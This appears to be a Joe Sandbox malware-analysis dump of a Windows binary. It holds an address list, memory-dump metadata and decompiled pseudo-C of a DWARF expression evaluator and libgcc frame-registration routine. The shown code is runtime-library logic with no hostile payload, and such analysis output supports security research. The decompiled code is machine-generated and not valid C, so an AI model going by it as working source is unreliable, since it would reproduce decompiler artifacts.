0x00000000
0x00421bac
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421e40
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00421c4f

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaa3f900c3c39f84165ef422e7075b2064e9f87200ba47ddb7e1e981550ca085
Instruction ID: ed732bdb2801a2966a4faee8bbd3f595c2dee0e2fd212da364d525252b349110
Opcode Fuzzy Hash: eaa3f900c3c39f84165ef422e7075b2064e9f87200ba47ddb7e1e981550ca085
Instruction Fuzzy Hash: C8F04635A482310BD3207A15A05132BBAA00F6274CFD91ABFDDA167313D16EFC0BD75A

Uniqueness

Uniqueness Score: -1.00%

Function 00421D10 Relevance: 21.0, APIs: 14, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421D10(void* __eax, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				signed int __ebx;
				signed int __ebp;
				struct HINSTANCE__* _t190;
				struct HINSTANCE__* _t193;
				_Unknown_base(*)()* _t194;
				CHAR* _t196;
				struct HINSTANCE__* _t198;
				_Unknown_base(*)()* _t203;
				void* _t208;
				char** _t209;
				char** _t210;
				struct HINSTANCE__** _t212;
				struct HINSTANCE__** _t213;

				L0:
				while(__eax - 0x50 <= 0x11) {
					__esi = _a28;
					__edi =  *(__esi + __eax * 4);
					if(( *(__esi + 0x63) & 0x00000040) == 0) {
						L52:
						if(__dl == 4) {
							goto L39;
						} else {
							break;
						}
					} else {
						if( *((char*)(__esi + __eax + 0x6c)) != 0) {
							L94:
							__ebp = _a20;
							__esi = __ebx;
							while(1) {
								L10:
								if(__ebp > 0x3f) {
									goto L129;
								}
								__eax =  &_a1;
								 *(__esp + 0x30 + __ebp * 4) = __edi;
								_a20 =  &_a1;
								while(1) {
									L12:
									if(_a24 <= __esi) {
										break;
									}
									__eax =  *__esi & 0x000000ff;
									__ebx = __esi + 1;
									__ecx = __eax - 3;
									if(__cl > 0xee) {
										L96:
										abort();
										goto L97;
									} else {
										__ecx = __cl & 0x000000ff;
										switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
											case 0:
												__ebp = _a20;
												__edi =  *(__esi + 1);
												__esi = __esi + 5;
												__eflags = __esi;
												goto L10;
											case 1:
												goto L96;
											case 2:
												__eax = _a20;
												__eflags = __eax;
												if(__eax == 0) {
													goto L129;
												} else {
													__ebp = __eax;
													__ebp =  &_v1;
													__edi =  *(__esp + 0x30 + __ebp * 4);
													__eflags = __dl - 0x1f;
													if(__eflags == 0) {
														__edi =  ~__edi;
														__esi = __ebx;
													} else {
														if(__eflags <= 0) {
															L97:
															__eflags = __dl - 6;
															if(__dl != 6) {
																__eflags = __dl - 0x19;
																if(__dl != 0x19) {
																	goto L96;
																} else {
																	__eax = __edi;
																	__esi = __ebx;
																	__eax = __edi >> 0x1f;
																	__edi = __edi ^ __eax;
																	__edi = __edi - __eax;
																}
															} else {
																__edi =  *__edi;
																__esi = __ebx;
															}
														} else {
															__eflags = __dl - 0x23;
															if(__dl == 0x23) {
																__esi = 0;
																__ecx = 0;
																__eflags = 0;
																do {
																	__ebx = __ebx + 1;
																	__edx =  *(__ebx - 1) & 0x000000ff;
																	 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
																	__eax = ( *(__ebx - 1) & 0x7f) << __cl;
																	__ecx = __ecx + 7;
																	__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
																	__eflags = __dl;
																} while (__dl < 0);
																__edi = __edi + __esi;
																__esi = __ebx;
															} else {
																__eflags = __dl - 0x94;
																if(__dl != 0x94) {
																	__eflags = __dl - 0x20;
																	if(__dl == 0x20) {
																		__edi =  !__edi;
																		__esi = __ebx;
																	} else {
																		goto L96;
																	}
																} else {
																	__eax =  *(__esi + 1) & 0x000000ff;
																	__edx = __esi + 2;
																	__eflags = __al - 2;
																	if(__eflags == 0) {
																		__edi =  *__edi & 0x0000ffff;
																		__esi = __edx;
																	} else {
																		if(__eflags <= 0) {
																			__eflags = __al - 1;
																			if(__al != 1) {
																				goto L96;
																			} else {
																				__edi =  *__edi & 0x000000ff;
																				__esi = __edx;
																			}
																		} else {
																			__eflags = __al - 4;
																			if(__al == 4) {
																				L31:
																				__edi =  *__edi;
																				__esi = __edx;
																			} else {
																				__eflags = __al - 8;
																				if(__al != 8) {
																					goto L96;
																				} else {
																					goto L31;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
													goto L10;
												}
												goto L142;
											case 3:
												__edi =  *(__esi + 1) & 0x000000ff;
												__ebp = _a20;
												__esi = __esi + 2;
												goto L10;
											case 4:
												__edi =  *(__esi + 1);
												__ebp = _a20;
												__esi = __esi + 2;
												goto L10;
											case 5:
												__edi =  *(__esi + 1) & 0x0000ffff;
												__ebp = _a20;
												__esi = __esi + 3;
												goto L10;
											case 6:
												__edi =  *(__esi + 1);
												__ebp = _a20;
												__esi = __esi + 3;
												goto L10;
											case 7:
												__edi =  *(__esi + 1);
												__ebp = _a20;
												__esi = __esi + 9;
												goto L10;
											case 8:
												__esi = __ebx;
												__edi = 0;
												__ecx = 0;
												__eflags = 0;
												do {
													__esi = __esi + 1;
													__edx =  *(__esi - 1) & 0x000000ff;
													 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
													__eax = ( *(__esi - 1) & 0x7f) << __cl;
													__ecx = __ecx + 7;
													__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
													__eflags = __dl;
												} while (__dl < 0);
												__ebp = _a20;
												goto L10;
											case 9:
												__edi = 0;
												__ecx = 0;
												__eflags = 0;
												do {
													__ebx = __ebx + 1;
													__edx =  *(__ebx - 1) & 0x000000ff;
													__edx = __edx & 0x0000007f;
													__eax = (__edx & 0x0000007f) << __cl;
													__ecx = __ecx + 7;
													__edi = __edi | (__edx & 0x0000007f) << __cl;
													__eflags = __dl;
												} while (__dl < 0);
												__eflags = __ecx - 0x1f;
												if(__ecx > 0x1f) {
													goto L94;
												} else {
													__edx = __edx & 0x00000040;
													__eflags = __edx;
													if(__edx == 0) {
														goto L94;
													} else {
														__eax = 1;
														__ebp = _a20;
														__esi = __ebx;
														1 << __cl =  ~(1 << __cl);
														__edi = __edi |  ~(1 << __cl);
													}
												}
												goto L10;
											case 0xa:
												__ebp = _a20;
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L129;
												} else {
													__edi =  *(__esp + 0x2c + __ebp * 4);
													__esi = __ebx;
													goto L10;
												}
												goto L142;
											case 0xb:
												__eax = _a20;
												__eflags = __eax;
												if(__eax == 0) {
													goto L129;
												} else {
													__eax = __eax - 1;
													__esi = __ebx;
													_a20 = __eax;
													goto L12;
												}
												goto L142;
											case 0xc:
												__ebp = _a20;
												__eflags = __ebp - 1;
												if(__ebp <= 1) {
													goto L129;
												} else {
													__edi =  *(__esp + 0x28 + __ebp * 4);
													__esi = __ebx;
													goto L10;
												}
												goto L142;
											case 0xd:
												__ebp = _a20;
												__ecx =  *(__esi + 1) & 0x000000ff;
												__edx = __esi + 2;
												__eax =  &_v1;
												__eflags = __ecx - __eax;
												if(__ecx >= __eax) {
													goto L129;
												} else {
													__eax = __eax - __ecx;
													__esi = __edx;
													__edi =  *(__esp + 0x30 + __eax * 4);
													goto L10;
												}
												goto L142;
											case 0xe:
												__eax = _a20;
												__eflags = __eax - 1;
												if(__eax <= 1) {
													goto L129;
												} else {
													__edx = __eax - 1;
													__eax = __eax - 2;
													__esi =  *(__esp + 0x30 + __eax * 4);
													__ecx =  *(__esp + 0x30 + __edx * 4);
													 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
													__esi = __ebx;
													 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
													goto L12;
												}
												goto L142;
											case 0xf:
												__eax = _a20;
												__eflags = __eax - 2;
												if(__eax <= 2) {
													goto L129;
												} else {
													__ecx = __eax - 1;
													__edx = __eax - 2;
													__eax = __eax - 3;
													__esi =  *(__esp + 0x30 + __ecx * 4);
													__ebp =  *(__esp + 0x30 + __edx * 4);
													__edi =  *(__esp + 0x30 + __eax * 4);
													 *(__esp + 0x30 + __ecx * 4) = __ebp;
													 *(__esp + 0x30 + __edx * 4) = __edi;
													 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
													__esi = __ebx;
													goto L12;
												}
												goto L142;
											case 0x10:
												__eax = _a20;
												__eflags = __eax - 1;
												if(__eax <= 1) {
													goto L129;
												} else {
													__ebp = __eax - 2;
													__edx = __edx - 0x1a;
													__ecx =  *(__esp + 0x2c + __eax * 4);
													__edi =  *(__esp + 0x30 + __ebp * 4);
													__eflags = __dl - 0x14;
													if(__dl > 0x14) {
														goto L96;
													} else {
														__edx = __dl & 0x000000ff;
														switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
															case 0:
																goto L111;
															case 1:
																goto L112;
															case 2:
																goto L113;
															case 3:
																goto L114;
															case 4:
																goto L115;
															case 5:
																goto L96;
															case 6:
																goto L116;
															case 7:
																goto L117;
															case 8:
																goto L118;
															case 9:
																goto L119;
															case 0xa:
																goto L120;
															case 0xb:
																goto L121;
															case 0xc:
																goto L122;
															case 0xd:
																goto L123;
															case 0xe:
																goto L124;
															case 0xf:
																goto L125;
															case 0x10:
																goto L126;
															case 0x11:
																goto L127;
														}
													}
													goto L10;
												}
												goto L142;
											case 0x11:
												__eax = _a20;
												__eflags = __eax;
												if(__eax == 0) {
													goto L129;
												} else {
													__eax = __eax - 1;
													__edi = __eax;
													_a20 = __eax;
													__eax = __esi + 3;
													__edx =  *(__esp + 0x30 + __edi * 4);
													__eflags =  *(__esp + 0x30 + __edi * 4);
													if( *(__esp + 0x30 + __edi * 4) == 0) {
														__esi = __eax;
													} else {
														__esi =  *(__esi + 1);
														__esi = __esi + __eax;
													}
													goto L12;
												}
												goto L142;
											case 0x12:
												__eax =  *(__esi + 1);
												__esi = __esi +  *(__esi + 1) + 3;
												goto L12;
											case 0x13:
												__edi = __eax - 0x30;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											case 0x14:
												goto L0;
											case 0x15:
												__ebp = 0;
												__ecx = 0;
												__eflags = 0;
												__esi = __eax;
												do {
													__ebx = __ebx + 1;
													__eax =  *(__ebx - 1) & 0x000000ff;
													__eax = __eax & 0x0000007f;
													__edx = (__eax & 0x0000007f) << __cl;
													__ecx = __ecx + 7;
													__ebp = __ebp | (__eax & 0x0000007f) << __cl;
													__eflags = __al;
												} while (__al < 0);
												__edi = __eax;
												__eax = __esi;
												__esi = __edi;
												__eflags = __ecx - 0x1f;
												if(__ecx <= 0x1f) {
													__esi = __esi & 0x00000040;
													__eflags = __esi;
													if(__esi != 0) {
														1 = 1 << __cl;
														__edx =  ~(1 << __cl);
														__ebp = __ebp |  ~(1 << __cl);
													}
												}
												__eax = __eax - 0x70;
												__eflags = __eax - 0x11;
												if(__eax > 0x11) {
													goto L129;
												} else {
													__esi = _a28;
													__edx =  *(__eax + 0x6073f4) & 0x000000ff;
													__edi =  *(__esi + __eax * 4);
													__eflags =  *(__esi + 0x63) & 0x00000040;
													if(( *(__esi + 0x63) & 0x00000040) == 0) {
														L47:
														__eflags = __dl - 4;
														if(__dl != 4) {
															goto L129;
														} else {
															__edi =  *__edi;
															goto L49;
														}
													} else {
														__eflags =  *((char*)(__esi + __eax + 0x6c));
														if( *((char*)(__esi + __eax + 0x6c)) != 0) {
															L49:
															__edi = __edi + __ebp;
															__esi = __ebx;
															__ebp = _a20;
															goto L10;
														} else {
															goto L47;
														}
													}
												}
												goto L142;
											case 0x16:
												__esi = 0;
												__ecx = 0;
												__eflags = 0;
												do {
													__ebx = __ebx + 1;
													__edx =  *(__ebx - 1) & 0x000000ff;
													 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
													__eax = ( *(__ebx - 1) & 0x7f) << __cl;
													__ecx = __ecx + 7;
													__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													__eflags = __dl;
												} while (__dl < 0);
												__eflags = __esi - 0x11;
												if(__esi > 0x11) {
													goto L129;
												} else {
													__ecx = _a28;
													__eax =  *(__esi + 0x6073f4) & 0x000000ff;
													__edi =  *(__ecx + __esi * 4);
													__eflags =  *(__ecx + 0x63) & 0x00000040;
													if(( *(__ecx + 0x63) & 0x00000040) == 0) {
														L38:
														__eflags = __al - 4;
														if(__al != 4) {
															goto L129;
														} else {
															L39:
															__edi =  *__edi;
															__ebp = _a20;
															__esi = __ebx;
															goto L10;
														}
													} else {
														__eflags =  *((char*)(__ecx + __esi + 0x6c));
														if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
															goto L94;
														} else {
															goto L38;
														}
													}
												}
												goto L142;
											case 0x17:
												__esi = 0;
												__ecx = 0;
												__eflags = 0;
												do {
													__ebx = __ebx + 1;
													__edx =  *(__ebx - 1) & 0x000000ff;
													 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
													__eax = ( *(__ebx - 1) & 0x7f) << __cl;
													__ecx = __ecx + 7;
													__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
													__eflags = __dl;
												} while (__dl < 0);
												__edi = 0;
												__ecx = 0;
												__eflags = 0;
												do {
													__ebx = __ebx + 1;
													__eax =  *(__ebx - 1) & 0x000000ff;
													 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
													__edx = ( *(__ebx - 1) & 0x7f) << __cl;
													__ecx = __ecx + 7;
													__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
													__eflags = __al;
												} while (__al < 0);
												__eflags = __ecx - 0x1f;
												if(__ecx <= 0x1f) {
													__eflags = __al & 0x00000040;
													if((__al & 0x00000040) != 0) {
														1 = 1 << __cl;
														__eax =  ~(1 << __cl);
														__edi = __edi |  ~(1 << __cl);
													}
												}
												__eflags = __esi - 0x11;
												if(__esi > 0x11) {
													goto L129;
												} else {
													__ecx = _a28;
													__edx =  *(__esi + 0x6073f4) & 0x000000ff;
													__eax =  *(__ecx + __esi * 4);
													__eflags =  *(__ecx + 0x63) & 0x00000040;
													if(( *(__ecx + 0x63) & 0x00000040) == 0) {
														L79:
														__eflags = __dl - 4;
														if(__dl != 4) {
															goto L129;
														} else {
															__eax =  *__eax;
															goto L81;
														}
													} else {
														__eflags =  *((char*)(__ecx + __esi + 0x6c));
														if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
															L81:
															__edi = __edi + __eax;
															__ebp = _a20;
															__esi = __ebx;
															goto L10;
														} else {
															goto L79;
														}
													}
												}
												goto L142;
											case 0x18:
												__esi = __ebx;
												goto L12;
											case 0x19:
												__ebx =  *(__esi + 1) & 0x000000ff;
												__edx = _a28;
												__edi =  &_a44;
												__eax = __ebx;
												__eax = L00420C00(__ebx, __ecx, _a28);
												 *__esp =  &_a44;
												__ecx = __esi + 2;
												__edx = __eax;
												__eax = __ebx;
												__eax = E00420AC0(__ebx, __esi + 2, __edx);
												__edi = _a44;
												__ebp = _a20;
												__esi = __eax;
												goto L10;
											case 0x1a:
												L111:
												__edi = __edi & __ecx;
												__esi = __ebx;
												goto L10;
											case 0x1b:
												L112:
												__eax = __edi;
												__esi = __ebx;
												asm("cdq");
												_t169 = __eax % __ecx;
												__eax = __eax / __ecx;
												__edx = _t169;
												__edi = __eax;
												goto L10;
											case 0x1c:
												L113:
												__edi = __edi - __ecx;
												__esi = __ebx;
												goto L10;
											case 0x1d:
												L114:
												__eax = __edi;
												__edx = 0;
												__esi = __ebx;
												_t173 = __eax % __ecx;
												__eax = __eax / __ecx;
												__edx = _t173;
												__edi = _t173;
												goto L10;
											case 0x1e:
												L115:
												__edi = __edi * __ecx;
												__esi = __ebx;
												goto L10;
											case 0x1f:
												L116:
												__edi = __edi | __ecx;
												__esi = __ebx;
												goto L10;
											case 0x20:
												L117:
												__edi = __edi + __ecx;
												__esi = __ebx;
												goto L10;
											case 0x21:
												L118:
												__edi = __edi << __cl;
												__esi = __ebx;
												goto L10;
											case 0x22:
												L119:
												__edi = __edi >> __cl;
												__esi = __ebx;
												goto L10;
											case 0x23:
												L120:
												__edi = __edi >> __cl;
												__esi = __ebx;
												goto L10;
											case 0x24:
												L121:
												__edi = __edi ^ __ecx;
												__esi = __ebx;
												goto L10;
											case 0x25:
												L122:
												__eax = 0;
												__eflags = __edi - __ecx;
												__esi = __ebx;
												__eax = 0 | __eflags == 0x00000000;
												__edi = __eflags == 0;
												goto L10;
											case 0x26:
												L123:
												__eax = 0;
												__eflags = __edi - __ecx;
												__esi = __ebx;
												__eax = 0 | __eflags >= 0x00000000;
												__edi = __eflags >= 0;
												goto L10;
											case 0x27:
												L124:
												__eax = 0;
												__eflags = __edi - __ecx;
												__esi = __ebx;
												__eax = 0 | __eflags > 0x00000000;
												__edi = __eflags > 0;
												goto L10;
											case 0x28:
												L125:
												__eax = 0;
												__eflags = __edi - __ecx;
												__esi = __ebx;
												__eax = 0 | __eflags <= 0x00000000;
												__edi = __eflags <= 0;
												goto L10;
											case 0x29:
												L126:
												__eax = 0;
												__eflags = __edi - __ecx;
												__esi = __ebx;
												__eax = 0 | __eflags < 0x00000000;
												__edi = __eflags < 0;
												goto L10;
											case 0x2a:
												L127:
												__eax = 0;
												__eflags = __edi - __ecx;
												__esi = __ebx;
												__eax = 0 | __eflags != 0x00000000;
												__edi = __eflags != 0;
												goto L10;
										}
									}
									goto L142;
								}
								__eax = _a20;
								if(__eax == 0) {
									goto L129;
								} else {
									__eax =  *(__esp + 0x2c + __eax * 4);
									__esp = __esp + 0x13c;
									_pop(__ebx);
									_pop(__esi);
									_pop(__edi);
									_pop(__ebp);
									return __eax;
								}
								goto L142;
							}
							break;
						} else {
							goto L52;
						}
					}
					L142:
				}
				L129:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_t209 = _t208 - 0x1c;
				 *_t209 = "libgcc_s_dw2-1.dll";
				_t190 = GetModuleHandleA(_t196);
				_t210 = _t209 - 4;
				if(_t190 == 0) {
					 *0x4b6004 = 0x424590;
					_t203 = E00424340;
				} else {
					_t198 = _t190;
					 *_t210 = "libgcc_s_dw2-1.dll";
					_t193 = LoadLibraryA(??);
					_t212 = _t210 - 4;
					 *0x607df0 = _t193;
					_v40 = "__register_frame_info";
					 *_t212 = _t198;
					_t194 = GetProcAddress(??, ??);
					_t213 = _t212 - 8;
					_t203 = _t194;
					_v40 = "__deregister_frame_info";
					 *_t213 = _t198;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t210 = _t213 - 8;
				}
				if(_t203 != 0) {
					_v40 = 0x60701c;
					 *_t210 = 0x5ca0f8;
					 *_t203();
				}
				 *_t210 = 0x401590;
				return E004014C0();
